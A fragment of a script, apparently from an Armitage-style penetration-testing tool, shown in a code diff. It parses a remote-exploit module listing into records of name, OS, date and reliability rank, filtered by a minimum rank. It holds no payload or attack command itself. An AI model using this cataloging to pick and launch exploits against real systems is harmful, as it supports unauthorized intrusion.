while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
@ranks = sublist(@ranks, 1);
}
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
($exploit, $os, $date, $rank, $name) = matched();
%exploits[$exploit] = %(
name => $name,
os => $os,
date => parseDate('yyyy-MM-dd', $date),
rank => $rank,
rankScore => rankScore($rank)
);
}
}
warn("Remote Exploits Synced");
});
}

Some files were not shown because too many files have changed in this diff Show More